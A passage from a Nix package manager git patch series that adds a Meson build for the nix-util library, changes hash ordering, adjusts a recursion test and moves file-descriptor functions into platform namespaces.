             PATH=$prefix/bin:$PATH
@@ -288,12 +302,19 @@
           src = null;
 
           env = {
+            # Needed for Meson to find Boost.
+            # https://github.com/NixOS/nixpkgs/issues/86131.
+            BOOST_INCLUDEDIR = "${lib.getDev pkgs.boost}/include";
+            BOOST_LIBRARYDIR = "${lib.getLib pkgs.boost}/lib";
             # For `make format`, to work without installing pre-commit
             _NIX_PRE_COMMIT_HOOKS_CONFIG =
               "${(pkgs.formats.yaml { }).generate "pre-commit-config.yaml" modular.pre-commit.settings.rawConfig}";
           };
 
+          inherit (pkgs.nix-util) mesonFlags;
+
           nativeBuildInputs = attrs.nativeBuildInputs or []
+            ++ pkgs.nix-util.nativeBuildInputs
             ++ [
               modular.pre-commit.settings.package
               (pkgs.writeScriptBin "pre-commit-hooks-install"
diff --git a/build/hydra.nix b/maintainers/hydra.nix
similarity index 93%
rename from build/hydra.nix
rename to maintainers/hydra.nix
index 857b7f1f06d..2541b061ef7 100644
--- a/build/hydra.nix
+++ b/maintainers/hydra.nix
@@ -32,6 +32,8 @@ let
 
       doBuild = false;
     };
+
+  forAllPackages = lib.genAttrs [ "nix" "nix-util" ];
 in
 {
   # Binary package for various platforms.
@@ -39,10 +41,12 @@ in
 
   shellInputs = forAllSystems (system: self.devShells.${system}.default.inputDerivation);
 
-  buildStatic = lib.genAttrs linux64BitSystems (system: self.packages.${system}.nix-static);
+  buildStatic = forAllPackages (pkgName:
+    lib.genAttrs linux64BitSystems (system: nixpkgsFor.${system}.static.${pkgName}));
 
-  buildCross = forAllCrossSystems (crossSystem:
-    lib.genAttrs [ "x86_64-linux" ] (system: self.packages.${system}."nix-${crossSystem}"));
+  buildCross = forAllPackages (pkgName:
+    forAllCrossSystems (crossSystem:
+      lib.genAttrs [ "x86_64-linux" ] (system: nixpkgsFor.${system}.cross.${crossSystem}.${pkgName})));
 
   buildNoGc = forAllSystems (system:
     self.packages.${system}.nix.override { enableGC = false; }
@@ -76,7 +80,7 @@ in
   binaryTarballCross = lib.genAttrs [ "x86_64-linux" ] (system:
     forAllCrossSystems (crossSystem:
       binaryTarball
-        self.packages.${system}."nix-${crossSystem}"
+        nixpkgsFor.${system}.cross.${crossSystem}.nix
         nixpkgsFor.${system}.cross.${crossSystem}));
 
   # The first half of the installation script. This is uploaded
diff --git a/meson.build b/meson.build
new file mode 100644
index 00000000000..fc644187762
--- /dev/null
+++ b/meson.build
@@ -0,0 +1,9 @@
+# This is just a stub project to include all the others as subprojects
+# for development shell purposes
+
+project('nix-dev-shell', 'cpp',
+  version : files('.version'),
+  subproject_dir : 'src',
+)
+
+subproject('libutil')
diff --git a/package.nix b/package.nix
index cf1654c6a23..677ee73c7bd 100644
--- a/package.nix
+++ b/package.nix
@@ -385,8 +385,7 @@ in {
 
   separateDebugInfo = !stdenv.hostPlatform.isStatic;
 
-  # TODO `releaseTools.coverageAnalysis` in Nixpkgs needs to be updated
-  # to work with `strictDeps`.
+  # TODO Always true after https://github.com/NixOS/nixpkgs/issues/318564
   strictDeps = !withCoverageChecks;
 
   hardeningDisable = lib.optional stdenv.hostPlatform.isStatic "pie";
diff --git a/src/libutil/.version b/src/libutil/.version
new file mode 120000
index 00000000000..b7badcd0cc8
--- /dev/null
+++ b/src/libutil/.version
@@ -0,0 +1 @@
+../../.version
\ No newline at end of file
diff --git a/src/libutil/linux/meson.build b/src/libutil/linux/meson.build
new file mode 100644
index 00000000000..a1ded76ca16
--- /dev/null
+++ b/src/libutil/linux/meson.build
@@ -0,0 +1,11 @@
+sources += files(
+  'cgroup.cc',
+  'namespaces.cc',
+)
+
+include_dirs += include_directories('.')
+
+headers += files(
+  'cgroup.hh',
+  'namespaces.hh',
+)
diff --git a/src/libutil/meson.build b/src/libutil/meson.build
new file mode 100644
index 00000000000..8644c69f4fe
--- /dev/null
+++ b/src/libutil/meson.build
@@ -0,0 +1,288 @@
+project('nix-util', 'cpp',
+  version : run_command('cat', './.version', check : true).stdout().strip(),
+  default_options : [
+    'cpp_std=c++2a',
+    # TODO(Qyriad): increase the warning level
+    'warning_level=1',
+    'debug=true',
+    'optimization=2',
+    'errorlogs=true', # Please print logs for tests that fail
+  ],
+  meson_version : '>= 0.64.0',
+  license : 'LGPL-2.1-or-later',
+)
+
+cxx = meson.get_compiler('cpp')
+
+deps_private = [ ]
+deps_public = [ ]
+deps_other = [ ]
+
+configdata = configuration_data()
+
+# Check for each of these functions, and create a define like `#define HAVE_LUTIMES 1`.
+check_funcs = [
+   # Optionally used for changing the mtime of symlinks.
+  'lutimes',
+  'pipe2',
+  'posix_fallocate',
+  'strsignal',
+  'sysconf',
+]
+foreach funcspec : check_funcs
+  define_name = 'HAVE_' + funcspec.underscorify().to_upper()
+  define_value = cxx.has_function(funcspec).to_int()
+  configdata.set(define_name, define_value)
+endforeach
+
+# Conditional to work around https://github.com/mesonbuild/meson/issues/13293
+if host_machine.system() != 'windows' and cxx.get_id() == 'gcc'
+  deps_private += dependency('threads')
+endif
+
+if host_machine.system() == 'windows'
+  socket = cxx.find_library('ws2_32')
+  deps_other += socket
+elif host_machine.system() == 'sunos'
+  socket = cxx.find_library('socket')
+  network_service_library = cxx.find_library('nsl')
+  deps_other += [socket, network_service_library]
+endif
+
+boost = dependency(
+  'boost',
+  modules : ['context', 'coroutine'],
+)
+# Actually public, but wrong type of dep for pkg config
+deps_other += boost
+
+openssl = dependency(
+  'libcrypto',
+  'openssl',
+  version : '>= 1.1.1',
+)
+deps_private += openssl
+
+libarchive = dependency('libarchive', version : '>= 3.1.2')
+deps_public += libarchive
+if get_option('default_library') == 'static'
+  # Workaround until https://github.com/libarchive/libarchive/issues/1446 is fixed
+  add_project_arguments('-lz', language : 'cpp')
+endif
+
+sodium = dependency('libsodium', 'sodium')
+deps_private += sodium
+
+brotli = [
+  dependency('libbrotlicommon'),
+  dependency('libbrotlidec'),
+  dependency('libbrotlienc'),
+]
+deps_private += brotli
+
+# cpuid only makes sense on x86_64
+cpuid_required = host_machine.cpu_family() == 'x86_64' ? get_option('cpuid') : false
+cpuid = dependency('libcpuid', 'cpuid', required : cpuid_required)
+configdata.set('HAVE_LIBCPUID', cpuid.found().to_int())
+deps_private += cpuid
+
+nlohmann_json = dependency('nlohmann_json', version : '>= 3.9')
+deps_public += nlohmann_json
+
+config_util_h = configure_file(
+  configuration : configdata,
+  output : 'config-util.h',
+)
+
+add_project_arguments(
+  # TODO(Qyriad): Yes this is how the autoconf+Make system did it.
+  # It would be nice for our headers to be idempotent instead.
+  '-include', 'config-util.h',
+  '-Wno-deprecated-declarations',
+  '-Wimplicit-fallthrough',
+  '-Werror=switch',
+  '-Werror=switch-enum',
+  '-Wdeprecated-copy',
+  '-Wignored-qualifiers',
+  # Enable assertions in libstdc++ by default. Harmless on libc++. Benchmarked
+  # at ~1% overhead in `nix search`.
+  #
+  # FIXME: remove when we get meson 1.4.0 which will default this to on for us:
+  # https://mesonbuild.com/Release-notes-for-1-4-0.html#ndebug-setting-now-controls-c-stdlib-assertions
+  '-D_GLIBCXX_ASSERTIONS=1',
+  language : 'cpp',
+)
+
+sources = files(
+  'archive.cc',
+  'args.cc',
+  'canon-path.cc',
+  'compression.cc',
+  'compute-levels.cc',
+  'config.cc',
+  'current-process.cc',
+  'english.cc',
+  'environment-variables.cc',
+  'error.cc',
+  'exit.cc',
+  'experimental-features.cc',
+  'file-content-address.cc',
+  'file-descriptor.cc',
+  'file-system.cc',
+  'fs-sink.cc',
+  'git.cc',
+  'hash.cc',
+  'hilite.cc',
+  'json-utils.cc',
+  'logging.cc',
+  'memory-source-accessor.cc',
+  'position.cc',
+  'posix-source-accessor.cc',
+  'references.cc',
+  'serialise.cc',
+  'signature/local-keys.cc',
+  'signature/signer.cc',
+  'source-accessor.cc',
+  'source-path.cc',
+  'suggestions.cc',
+  'tarfile.cc',
+  'terminal.cc',
+  'thread-pool.cc',
+  'unix-domain-socket.cc',
+  'url.cc',
+  'users.cc',
+  'util.cc',
+  'xml-writer.cc',
+)
+
+include_dirs = [include_directories('.')]
+
+headers = [config_util_h] + files(
+  'abstract-setting-to-json.hh',
+  'ansicolor.hh',
+  'archive.hh',
+  'args.hh',
+  'args/root.hh',
+  'callback.hh',
+  'canon-path.hh',
+  'chunked-vector.hh',
+  'closure.hh',
+  'comparator.hh',
+  'compression.hh',
+  'compute-levels.hh',
+  'config-impl.hh',
+  'config.hh',
+  'current-process.hh',
+  'english.hh',
+  'environment-variables.hh',
+  'error.hh',
+  'exit.hh',
+  'experimental-features.hh',
+  'file-content-address.hh',
+  'file-descriptor.hh',
+  'file-path-impl.hh',
+  'file-path.hh',
+  'file-system.hh',
+  'finally.hh',
+  'fmt.hh',
+  'fs-sink.hh',
+  'git.hh',
+  'hash.hh',
+  'hilite.hh',
+  'json-impls.hh',
+  'json-utils.hh',
+  'logging.hh',
+  'lru-cache.hh',
+  'memory-source-accessor.hh',
+  'muxable-pipe.hh',
+  'pool.hh',
+  'position.hh',
+  'posix-source-accessor.hh',
+  'processes.hh',
+  'ref.hh',
+  'references.hh',
+  'regex-combinators.hh',
+  'repair-flag.hh',
+  'serialise.hh',
+  'signals.hh',
+  'signature/local-keys.hh',
+  'signature/signer.hh',
+  'source-accessor.hh',
+  'source-path.hh',
+  'split.hh',
+  'suggestions.hh',
+  'sync.hh',
+  'tarfile.hh',
+  'terminal.hh',
+  'thread-pool.hh',
+  'topo-sort.hh',
+  'types.hh',
+  'unix-domain-socket.hh',
+  'url-parts.hh',
+  'url.hh',
+  'users.hh',
+  'util.hh',
+  'variant-wrapper.hh',
+  'xml-writer.hh',
+)
+
+if host_machine.system() == 'linux'
+  subdir('linux')
+endif
+
+if host_machine.system() == 'windows'
+  subdir('windows')
+else
+  subdir('unix')
+endif
+
+if host_machine.system() == 'cygwin' or host_machine.system() == 'windows'
+  # Windows DLLs are stricter about symbol visibility than Unix shared
+  # objects --- see https://gcc.gnu.org/wiki/Visibility for details.
+  # This is a temporary sledgehammer to export everything like on Unix,
+  # and not detail with this yet.
+  #
+  # TODO do not do this, and instead do fine-grained export annotations.
+  linker_export_flags = ['-Wl,--export-all-symbols']
+else
+  linker_export_flags = []
+endif
+
+libutil = library(
+  'nixutil',
+  sources,
+  dependencies : deps_public + deps_private + deps_other,
+  include_directories : include_dirs,
+  link_args: linker_export_flags,
+  install : true,
+)
+
+install_headers(headers, subdir : 'nix', preserve_path : true)
+
+libraries_private = ['-lboost_context', '-lboost_coroutine']
+if host_machine.system() == 'windows'
+  # `libraries_private` cannot contain ad-hoc dependencies (from
+  # `find_library), so we need to do this manually
+  libraries_private += ['-lws2_32']
+endif
+
+import('pkgconfig').generate(
+  libutil,
+  filebase : 'nix-util',
+  name : 'Nix',
+  description : 'Nix Package Manager',
+  subdirs : ['nix'],
+  extra_cflags : ['-std=c++2a'],
+  requires : deps_public,
+  requires_private : deps_private,
+  # avoid absolute paths, use vendored ones
+  libraries_private : libraries_private,
+)
+
+nix_util = declare_dependency(
+  include_directories : include_dirs,
+  link_with : libutil,
+  compile_args : ['-std=c++2a'],
+  dependencies : [],
+)
+meson.override_dependency('nix-util', nix_util)
diff --git a/src/libutil/meson.options b/src/libutil/meson.options
new file mode 100644
index 00000000000..21883af0145
--- /dev/null
+++ b/src/libutil/meson.options
@@ -0,0 +1,5 @@
+# vim: filetype=meson
+
+option('cpuid', type : 'feature',
+  description : 'determine microarchitecture levels with libcpuid (only relevant on x86_64)',
+)
diff --git a/src/libutil/package.nix b/src/libutil/package.nix
new file mode 100644
index 00000000000..6575b37a6bc
--- /dev/null
+++ b/src/libutil/package.nix
@@ -0,0 +1,144 @@
+{ lib
+, stdenv
+, releaseTools
+, fileset
+
+, meson
+, ninja
+, pkg-config
+
+, boost
+, brotli
+, libarchive
+, libcpuid
+, libsodium
+, nlohmann_json
+, openssl
+
+# Configuration Options
+
+, versionSuffix ? ""
+, officialRelease ? false
+
+# Check test coverage of Nix. Probably want to use with at least
+# one of `doCheck` or `doInstallCheck` enabled.
+, withCoverageChecks ? false
+}:
+
+let
+  version = lib.fileContents ./.version + versionSuffix;
+
+  mkDerivation =
+    if withCoverageChecks
+    then
+      # TODO support `finalAttrs` args function in
+      # `releaseTools.coverageAnalysis`.
+      argsFun:
+         releaseTools.coverageAnalysis (let args = argsFun args; in args)
+    else stdenv.mkDerivation;
+in
+
+mkDerivation (finalAttrs: {
+  pname = "nix-util";
+  inherit version;
+
+  src = fileset.toSource {
+    root = ./.;
+    fileset = fileset.unions [
+      ./meson.build
+      ./meson.options
+      ./linux/meson.build
+      ./unix/meson.build
+      ./windows/meson.build
+      (fileset.fileFilter (file: file.hasExt "cc") ./.)
+      (fileset.fileFilter (file: file.hasExt "hh") ./.)
+    ];
+  };
+
+  outputs = [ "out" "dev" ];
+
+  nativeBuildInputs = [
+    meson
+    ninja
+    pkg-config
+  ];
+
+  buildInputs = [
+    boost
+    brotli
+    libsodium
+    openssl
+  ] ++ lib.optional stdenv.hostPlatform.isx86_64 libcpuid
+  ;
+
+  propagatedBuildInputs = [
+    libarchive
+    nlohmann_json
+  ];
+
+  disallowedReferences = [ boost ];
+
+  preConfigure =
+    # "Inline" .version so it's not a symlink, and includes the suffix
+    ''
+      echo ${version} > .version
+    ''
+    # Copy libboost_context so we don't get all of Boost in our closure.
+
+    # https://github.com/NixOS/nixpkgs/issues/45462
+    + lib.optionalString (!stdenv.hostPlatform.isStatic) (''
+      mkdir -p $out/lib
+      cp -pd ${boost}/lib/{libboost_context*,libboost_thread*,libboost_system*} $out/lib
+      rm -f $out/lib/*.a
+    '' + lib.optionalString stdenv.hostPlatform.isLinux ''
+      chmod u+w $out/lib/*.so.*
+      patchelf --set-rpath $out/lib:${stdenv.cc.cc.lib}/lib $out/lib/libboost_thread.so.*
+    '' + lib.optionalString stdenv.hostPlatform.isDarwin ''
+      for LIB in $out/lib/*.dylib; do
+        chmod u+w $LIB
+        install_name_tool -id $LIB $LIB
+        install_name_tool -delete_rpath ${boost}/lib/ $LIB || true
+      done
+      install_name_tool -change ${boost}/lib/libboost_system.dylib $out/lib/libboost_system.dylib $out/lib/libboost_thread.dylib
+    ''
+  );
+
+  env = {
+    # Needed for Meson to find Boost.
+    # https://github.com/NixOS/nixpkgs/issues/86131.
+    BOOST_INCLUDEDIR = "${lib.getDev boost}/include";
+    BOOST_LIBRARYDIR = "${lib.getLib boost}/lib";
+  } // lib.optionalAttrs (stdenv.isLinux && !(stdenv.hostPlatform.isStatic && stdenv.system == "aarch64-linux")) {
+    LDFLAGS = "-fuse-ld=gold";
+  };
+
+  enableParallelBuilding = true;
+
+  postInstall =
+    # Remove absolute path to boost libs
+    ''
+      sed -i "$out/lib/pkgconfig/nix-util.pc" -e 's, ${lib.getLib boost}[^ ]*,,g'
+    ''
+    + lib.optionalString stdenv.isDarwin ''
+      install_name_tool \
+      -change ${boost}/lib/libboost_context.dylib \
+      $out/lib/libboost_context.dylib \
+      $out/lib/libnixutil.dylib
+    '';
+
+  separateDebugInfo = !stdenv.hostPlatform.isStatic;
+
+  # TODO Always true after https://github.com/NixOS/nixpkgs/issues/318564
+  strictDeps = !withCoverageChecks;
+
+  hardeningDisable = lib.optional stdenv.hostPlatform.isStatic "pie";
+
+  meta = {
+    platforms = lib.platforms.unix ++ lib.platforms.windows;
+  };
+
+} // lib.optionalAttrs withCoverageChecks {
+  lcovFilter = [ "*/boost/*" "*-tab.*" ];
+
+  hardeningDisable = [ "fortify" ];
+})
diff --git a/src/libutil/unix/meson.build b/src/libutil/unix/meson.build
new file mode 100644
index 00000000000..38e5cd3aa47
--- /dev/null
+++ b/src/libutil/unix/meson.build
@@ -0,0 +1,17 @@
+sources += files(
+  'environment-variables.cc',
+  'file-descriptor.cc',
+  'file-path.cc',
+  'file-system.cc',
+  'muxable-pipe.cc',
+  'processes.cc',
+  'signals.cc',
+  'users.cc',
+)
+
+include_dirs += include_directories('.')
+
+headers += files(
+  'monitor-fd.hh',
+  'signals-impl.hh',
+)
diff --git a/src/libutil/windows/meson.build b/src/libutil/windows/meson.build
new file mode 100644
index 00000000000..00320877ff9
--- /dev/null
+++ b/src/libutil/windows/meson.build
@@ -0,0 +1,19 @@
+sources += files(
+  'environment-variables.cc',
+  'file-descriptor.cc',
+  'file-path.cc',
+  'file-system.cc',
+  'muxable-pipe.cc',
+  'processes.cc',
+  'users.cc',
+  'windows-async-pipe.cc',
+  'windows-error.cc',
+)
+
+include_dirs += include_directories('.')
+
+headers += files(
+  'signals-impl.hh',
+  'windows-async-pipe.hh',
+  'windows-error.hh',
+)

From 25a98949431af72bfdc00cd7e4e6bab18cdd1ec5 Mon Sep 17 00:00:00 2001
From: John Ericson <John.Ericson@Obsidian.Systems>
Date: Wed, 12 Jun 2024 18:33:28 -0400
Subject: [PATCH 344/528] hash: Compare hash algo second for back compat

Previously (in cfc18a77395b5ef49763f77c3cc67a95f762a0eb), we forgot to
compare the algo at all. This means we keep the same ordering as before
by making the stuff we always have compared take priority.
---
 src/libutil/hash.cc | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/src/libutil/hash.cc b/src/libutil/hash.cc
index 2f2ed813848..7064e96e61c 100644
--- a/src/libutil/hash.cc
+++ b/src/libutil/hash.cc
@@ -52,11 +52,11 @@ bool Hash::operator == (const Hash & h2) const
 
 std::strong_ordering Hash::operator <=> (const Hash & h) const
 {
-    if (auto cmp = algo <=> h.algo; cmp != 0) return cmp;
     if (auto cmp = hashSize <=> h.hashSize; cmp != 0) return cmp;
     for (unsigned int i = 0; i < hashSize; i++) {
         if (auto cmp = hash[i] <=> h.hash[i]; cmp != 0) return cmp;
     }
+    if (auto cmp = algo <=> h.algo; cmp != 0) return cmp;
     return std::strong_ordering::equivalent;
 }
 

From 1dc7c8e59991b15a78504be52931f8561dcff32b Mon Sep 17 00:00:00 2001
From: Eelco Dolstra <edolstra@gmail.com>
Date: Thu, 13 Jun 2024 13:55:42 +0200
Subject: [PATCH 345/528] eval-fail-infinite-recursion-lambda: Reduce recursion
 depth

This prevents the test from failing in environments with a smaller
configured stack size.
---
 .../functional/lang/eval-fail-infinite-recursion-lambda.err.exp | 2 +-
 tests/functional/lang/eval-fail-infinite-recursion-lambda.flags | 1 +
 2 files changed, 2 insertions(+), 1 deletion(-)
 create mode 100644 tests/functional/lang/eval-fail-infinite-recursion-lambda.flags

diff --git a/tests/functional/lang/eval-fail-infinite-recursion-lambda.err.exp b/tests/functional/lang/eval-fail-infinite-recursion-lambda.err.exp
index 5d843d827c9..712dd75a898 100644
--- a/tests/functional/lang/eval-fail-infinite-recursion-lambda.err.exp
+++ b/tests/functional/lang/eval-fail-infinite-recursion-lambda.err.exp
@@ -29,7 +29,7 @@ error:
              |              ^
             2|
 
-       (19997 duplicate frames omitted)
+       (197 duplicate frames omitted)
 
        error: stack overflow; max-call-depth exceeded
        at /pwd/lang/eval-fail-infinite-recursion-lambda.nix:1:14:
diff --git a/tests/functional/lang/eval-fail-infinite-recursion-lambda.flags b/tests/functional/lang/eval-fail-infinite-recursion-lambda.flags
new file mode 100644
index 00000000000..59e20ec9c6d
--- /dev/null
+++ b/tests/functional/lang/eval-fail-infinite-recursion-lambda.flags
@@ -0,0 +1 @@
+--max-call-depth 100
\ No newline at end of file

From ff87c1a318c8ea5ed8714e2d363d4e080fc93f02 Mon Sep 17 00:00:00 2001
From: John Ericson <John.Ericson@Obsidian.Systems>
Date: Thu, 13 Jun 2024 10:34:44 -0400
Subject: [PATCH 346/528] Put some file descriptor functions in unix and
 windows namespaces

It is misleading when platform-specific functions are in the overall
`nix` namespace. More namespaces also makes for nicer doxygen.
---
 src/libstore/unix/build/local-derivation-goal.cc |  4 ++--
 src/libutil/file-descriptor.hh                   | 10 +++++++---
 src/libutil/file-system.cc                       |  2 +-
 src/libutil/unix-domain-socket.cc                |  2 +-
 src/libutil/unix/file-descriptor.cc              |  8 ++++----
 src/libutil/windows/file-descriptor.cc           |  4 ++--
 src/nix/unix/daemon.cc                           |  4 ++--
 7 files changed, 19 insertions(+), 15 deletions(-)

diff --git a/src/libstore/unix/build/local-derivation-goal.cc b/src/libstore/unix/build/local-derivation-goal.cc
index 16095cf5d49..a9943973839 100644
--- a/src/libstore/unix/build/local-derivation-goal.cc
+++ b/src/libstore/unix/build/local-derivation-goal.cc
@@ -1500,7 +1500,7 @@ void LocalDerivationGoal::startDaemon()
                 throw SysError("accepting connection");
             }
 
-            closeOnExec(remote.get());
+            unix::closeOnExec(remote.get());
 
             debug("received daemon connection");
 
@@ -1961,7 +1961,7 @@ void LocalDerivationGoal::runChild()
             throw SysError("changing into '%1%'", tmpDir);
 
         /* Close all other file descriptors. */
-        closeMostFDs({STDIN_FILENO, STDOUT_FILENO, STDERR_FILENO});
+        unix::closeMostFDs({STDIN_FILENO, STDOUT_FILENO, STDERR_FILENO});
 
 #if __linux__
         linux::setPersonality(drv->platform);
diff --git a/src/libutil/file-descriptor.hh b/src/libutil/file-descriptor.hh
index 84786e95a2f..492b67d74c9 100644
--- a/src/libutil/file-descriptor.hh
+++ b/src/libutil/file-descriptor.hh
@@ -140,6 +140,7 @@ public:
 };
 
 #ifndef _WIN32 // Not needed on Windows, where we don't fork
+namespace unix {
 
 /**
  * Close all file descriptors except those listed in the given set.
@@ -152,13 +153,16 @@ void closeMostFDs(const std::set<Descriptor> & exceptions);
  */
 void closeOnExec(Descriptor fd);
 
+} // namespace unix
 #endif
 
-#ifdef _WIN32
-# if _WIN32_WINNT >= 0x0600
+#if defined(_WIN32) && _WIN32_WINNT >= 0x0600
+namespace windows (
+
 Path handleToPath(Descriptor handle);
 std::wstring handleToFileName(Descriptor handle);
-# endif
+
+} // namespace windows
 #endif
 
 MakeError(EndOfFile, Error);
diff --git a/src/libutil/file-system.cc b/src/libutil/file-system.cc
index 919bf5d50bd..9d614255693 100644
--- a/src/libutil/file-system.cc
+++ b/src/libutil/file-system.cc
@@ -546,7 +546,7 @@ std::pair<AutoCloseFD, Path> createTempFile(const Path & prefix)
     if (!fd)
         throw SysError("creating temporary file '%s'", tmpl);
 #ifndef _WIN32
-    closeOnExec(fd.get());
+    unix::closeOnExec(fd.get());
 #endif
     return {std::move(fd), tmpl};
 }
diff --git a/src/libutil/unix-domain-socket.cc b/src/libutil/unix-domain-socket.cc
index 87914bb83e7..1707fdb75e1 100644
--- a/src/libutil/unix-domain-socket.cc
+++ b/src/libutil/unix-domain-socket.cc
@@ -24,7 +24,7 @@ AutoCloseFD createUnixDomainSocket()
     if (!fdSocket)
         throw SysError("cannot create Unix domain socket");
 #ifndef _WIN32
-    closeOnExec(fdSocket.get());
+    unix::closeOnExec(fdSocket.get());
 #endif
     return fdSocket;
 }
diff --git a/src/libutil/unix/file-descriptor.cc b/src/libutil/unix/file-descriptor.cc
index a74f16ce14d..963e7578521 100644
--- a/src/libutil/unix/file-descriptor.cc
+++ b/src/libutil/unix/file-descriptor.cc
@@ -110,8 +110,8 @@ void Pipe::create()
     if (pipe2(fds, O_CLOEXEC) != 0) throw SysError("creating pipe");
 #else
     if (pipe(fds) != 0) throw SysError("creating pipe");
-    closeOnExec(fds[0]);
-    closeOnExec(fds[1]);
+    unix::closeOnExec(fds[0]);
+    unix::closeOnExec(fds[1]);
 #endif
     readSide = fds[0];
     writeSide = fds[1];
@@ -120,7 +120,7 @@ void Pipe::create()
 
 //////////////////////////////////////////////////////////////////////
 
-void closeMostFDs(const std::set<int> & exceptions)
+void unix::closeMostFDs(const std::set<int> & exceptions)
 {
 #if __linux__
     try {
@@ -146,7 +146,7 @@ void closeMostFDs(const std::set<int> & exceptions)
 }
 
 
-void closeOnExec(int fd)
+void unix::closeOnExec(int fd)
 {
     int prev;
     if ((prev = fcntl(fd, F_GETFD, 0)) == -1 ||
diff --git a/src/libutil/windows/file-descriptor.cc b/src/libutil/windows/file-descriptor.cc
index b5c21ad322b..16773e3eae6 100644
--- a/src/libutil/windows/file-descriptor.cc
+++ b/src/libutil/windows/file-descriptor.cc
@@ -122,7 +122,7 @@ void Pipe::create()
 
 #if _WIN32_WINNT >= 0x0600
 
-std::wstring handleToFileName(HANDLE handle) {
+std::wstring windows::handleToFileName(HANDLE handle) {
     std::vector<wchar_t> buf(0x100);
     DWORD dw = GetFinalPathNameByHandleW(handle, buf.data(), buf.size(), FILE_NAME_OPENED);
     if (dw == 0) {
@@ -141,7 +141,7 @@ std::wstring handleToFileName(HANDLE handle) {
 }
 
 
-Path handleToPath(HANDLE handle) {
+Path windows::handleToPath(HANDLE handle) {
     return os_string_to_string(handleToFileName(handle));
 }
 
diff --git a/src/nix/unix/daemon.cc b/src/nix/unix/daemon.cc
index de77a7b6b91..f1fc51682cd 100644
--- a/src/nix/unix/daemon.cc
+++ b/src/nix/unix/daemon.cc
@@ -295,7 +295,7 @@ static void daemonLoop(std::optional<TrustedFlag> forceTrustClientOpt)
         if (getEnv("LISTEN_PID") != std::to_string(getpid()) || listenFds != "1")
             throw Error("unexpected systemd environment variables");
         fdSocket = SD_LISTEN_FDS_START;
-        closeOnExec(fdSocket.get());
+        unix::closeOnExec(fdSocket.get());
     }
 
     //  Otherwise, create and bind to a Unix domain socket.
@@ -323,7 +323,7 @@ static void daemonLoop(std::optional<TrustedFlag> forceTrustClientOpt)
                 throw SysError("accepting connection");
             }
 
-            closeOnExec(remote.get());
+            unix::closeOnExec(remote.get());
 
             PeerInfo peer { .pidKnown = false };
             TrustedFlag trusted;

From 56f0b5304f14212b111ca51c27f1c216caf3acbf Mon Sep 17 00:00:00 2001
From: John Ericson <John.Ericson@Obsidian.Systems>
Date: Thu, 13 Jun 2024 10:50:15 -0400
Subject: [PATCH 347/528] Document the `nix-util` Meson build system more
 extensively

I hope this will make it easier to maintain, and also make it easier for
others to assist with porting the rest of the build system to Meson.

Co-authored-by: Robert Hensing <roberth@users.noreply.github.com>
---
 flake.nix                           |  1 +
 src/libutil/meson.build             | 82 ++++++++++++++++++++++-------
 src/libutil/package.nix             |  9 ++--
 src/libutil/unix/file-descriptor.cc |  2 +
 4 files changed, 71 insertions(+), 23 deletions(-)

diff --git a/flake.nix b/flake.nix
index 0e29c6e6f06..f3660b8bff9 100644
--- a/flake.nix
+++ b/flake.nix
@@ -243,6 +243,7 @@
           changelog-d;
         default = self.packages.${system}.nix;
       } // lib.concatMapAttrs
+        # We need to "flatten" packages we care about to pass `flake check`.
         (pkgName: {}: {
           "${pkgName}" = nixpkgsFor.${system}.native.${pkgName};
           "${pkgName}-static" = nixpkgsFor.${system}.static.${pkgName};
diff --git a/src/libutil/meson.build b/src/libutil/meson.build
index 8644c69f4fe..2259d4e22bf 100644
--- a/src/libutil/meson.build
+++ b/src/libutil/meson.build
@@ -1,5 +1,5 @@
 project('nix-util', 'cpp',
-  version : run_command('cat', './.version', check : true).stdout().strip(),
+  version : files('.version'),
   default_options : [
     'cpp_std=c++2a',
     # TODO(Qyriad): increase the warning level
@@ -8,25 +8,61 @@ project('nix-util', 'cpp',
     'optimization=2',
     'errorlogs=true', # Please print logs for tests that fail
   ],
-  meson_version : '>= 0.64.0',
+  meson_version : '>= 1.1',
   license : 'LGPL-2.1-or-later',
 )
 
 cxx = meson.get_compiler('cpp')
 
+# These are private dependencies with pkg-config files. What private
+# means is that the dependencies are used by the library but they are
+# *not* used (e.g. `#include`-ed) in any installed header file, and only
+# in regular source code (`*.cc`) or private, uninstalled headers. They
+# are thus part of the *implementation* of the library, but not its
+# *interface*.
+#
+# See `man pkg-config` for some details.
 deps_private = [ ]
+
+# These are public dependencies with pkg-config files. Public is the
+# opposite of private: these dependencies are used in installed header
+# files. They are part of the interface (and implementation) of the
+# library.
+#
+# N.B. This concept is mostly unrelated to our own concept of a public
+# (stable) API, for consumption outside of the Nix repository.
+# `libnixutil` is an unstable C++ library, whose public interface is
+# likewise unstable. `libutilc` conversely is a hopefully-soon stable
+# C library, whose public interface --- including public but not private
+# dependencies --- will also likewise soon be stable.
+#
+# N.B. For distributions that care about "ABI" stablity and not just
+# "API" stability, the private dependencies also matter as they can
+# potentially affect the public ABI.
 deps_public = [ ]
+
+# These are dependencencies without pkg-config files. Ideally they are
+# just private, but they may also be public (e.g. boost).
 deps_other = [ ]
 
 configdata = configuration_data()
 
-# Check for each of these functions, and create a define like `#define HAVE_LUTIMES 1`.
+# Check for each of these functions, and create a define like `#define
+# HAVE_LUTIMES 1`. The `#define` is unconditional, 0 for not found and 1
+# for found. One therefore uses it with `#if` not `#ifdef`.
 check_funcs = [
-   # Optionally used for changing the mtime of symlinks.
+  # Optionally used for changing the mtime of symlinks.
   'lutimes',
+  # Optionally used for creating pipes on Unix
   'pipe2',
+  # Optionally used to preallocate files to be large enough before
+  # writing to them.
   'posix_fallocate',
+  # Optionally used to get more information about processes failing due
+  # to a signal on Unix.
   'strsignal',
+  # Optionally used to try to close more file descriptors (e.g. before
+  # forking) on Unix.
   'sysconf',
 ]
 foreach funcspec : check_funcs
@@ -35,8 +71,10 @@ foreach funcspec : check_funcs
   configdata.set(define_name, define_value)
 endforeach
 
-# Conditional to work around https://github.com/mesonbuild/meson/issues/13293
-if host_machine.system() != 'windows' and cxx.get_id() == 'gcc'
+# This is only conditional to work around
+# https://github.com/mesonbuild/meson/issues/13293. It should be
+# unconditional.
+if not (host_machine.system() == 'windows' and cxx.get_id() == 'gcc')
   deps_private += dependency('threads')
 endif
 
@@ -53,7 +91,8 @@ boost = dependency(
   'boost',
   modules : ['context', 'coroutine'],
 )
-# Actually public, but wrong type of dep for pkg config
+# boost is a public dependency, but not a pkg-config dependency unfortunately, so we
+# put in `deps_other`.
 deps_other += boost
 
 openssl = dependency(
@@ -80,8 +119,10 @@ brotli = [
 ]
